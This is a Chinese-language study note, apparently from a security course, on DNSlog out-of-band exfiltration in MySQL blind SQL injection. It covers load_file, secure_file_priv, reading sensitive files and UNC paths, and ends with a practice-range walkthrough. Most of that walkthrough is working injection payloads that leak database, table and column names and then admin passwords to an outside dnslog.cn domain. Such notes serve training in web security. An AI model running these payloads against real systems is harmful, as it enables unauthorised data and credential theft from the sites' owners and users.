一、DNSLOG的函数解析
1,基本
DNS(协议 域名 -> IP转换)
日志:基本上所有程序都会记录日志
DNS 他实际上也是有日志的
补充:问:DNSlog注入是不是在linx系统可不可以用SMB服务? (全称是Server Message Block , 用于在计算机间共享文件、打印机、串口等,电脑上的网上邻居由它实现。)
答:在linx里面默认不可以使用,因为linx没有这个服务
2,函数用法:
select load_file(路径); //这个函数用于读取文件内容,并返回输出
例如:select load_file(c:/d/1.txt)
路径可以是绝对也可以是相对,
注意mysql执行的相对路径是 mysql/data/下 并不是mysql文件夹下
3,若load_file无法读取文件,去改一下设置:
在mysql文件下my.ini的最下面加一行
secure_file_priv=
敏感文件:
Linux /etc/passwd
Win C:/windows/win.ini
知道需不需要更改配置,直接去试试读取敏感文件
select load_file('c:/windows/win.ini');
4,UNC路径
UNC: 简单的说,就是网络(主要是局域网)上共享的资源
格式:
\\servername\sharename,其中servername是服务器名。sharename是共享资源的名称。
如何共享:
首先创建文件夹,右键共享,高级共享。在以上选项可选时依次执行。
如何访问:
在同网络中,输入\\ + 对方的ip或+对方的主机名即可访问对方共享的文件夹
例如:
jkl计算机的名为a123的共享文件夹,
用UNC表示:
\\jkl\a123
我们熟知的命令行访问网上邻居,实际上应该称作UNC路径访问法
二、DNSLOG的使用场景
本质上就是win上的一种服务,Linux上是没有的在某些无法直接利用漏洞获得回显的情况下,
但是目标可以发起请求,这个时候就可以通过DNSlog把想获得的数据外带出来。
对于sql盲注,常见的方法就是二分法去一个个猜,但是这样的方法麻烦不说,还很容易因为数据请求频繁导致被ban。
所以可以将select到的数据发送给一个url,利用dns解析产生的记录日志来查看数据
select load_file() (读取文件)可以请求远程共享文件。
比如:访问baidu.com,访问了域名,域名是由DNS服务器解析。
免费域名平台:
http://dnslog.cn/ 免费的dnslog平台 提供免费域名
select load_file('//error.1806dl.dnslog.cn/ abc');
域名=>dns解析=>记录某时某刻
select load_file(concat('//'(select database()),'域名//abc') (select database())是一个子查询,会查询当前库名,有括号优先执行
select load_file('//root.xx.xxx.xxxx//abc');
数据库去访问root.xx.xxx.xxxx的服务器下的共享文件夹abc。
然后xxx.xxxx子域名的解析都是在某台服务器,然后他记录下来了有人请求访问root.xx.xxx.xxxx,然后在xxx这个平台上面显示出来。
//开头代表是UNC路径
三、靶场作业
判断注入点
在url栏中输入id=1 没反应 输入 id and 1=1 发现访问被拦截 /123.txt?id=1%20and%20sleep(5) 发现有延迟,说明存在注入
02nz91.dnslog.cn 是域名 abc 域名下的文件夹
查询库名
And load_file(concat(‘//’,(select database()),’.02nz91.dnslog.cn//abc’))
表名出现admin 说明第一个表名是admin
and load_file(concat('//',(select table_name from information_schema.tables where table_schema=database()limit 0,1),'.02nz91.dnslog.cn//abc'))
出现第二个表 news
and load_file(concat('//',(select table_name from information_schema.tables where table_schema=0x6d616e677a6875 limit 0,1),'.02nz91.dnslog.cn//abc'))
字段名 Limit 3,1/limit 2,1 /limit 1,1 出现全部字段
and load_file(concat('//',(select column_name from information_schema.columns where table_name='admin' limit 3,1),'.02nz91.dnslog.cn//abc'))
爆内容
and load_file(concat('//',(select password from admin limit 0,1),'.02nz91.dnslog.cn//abc'))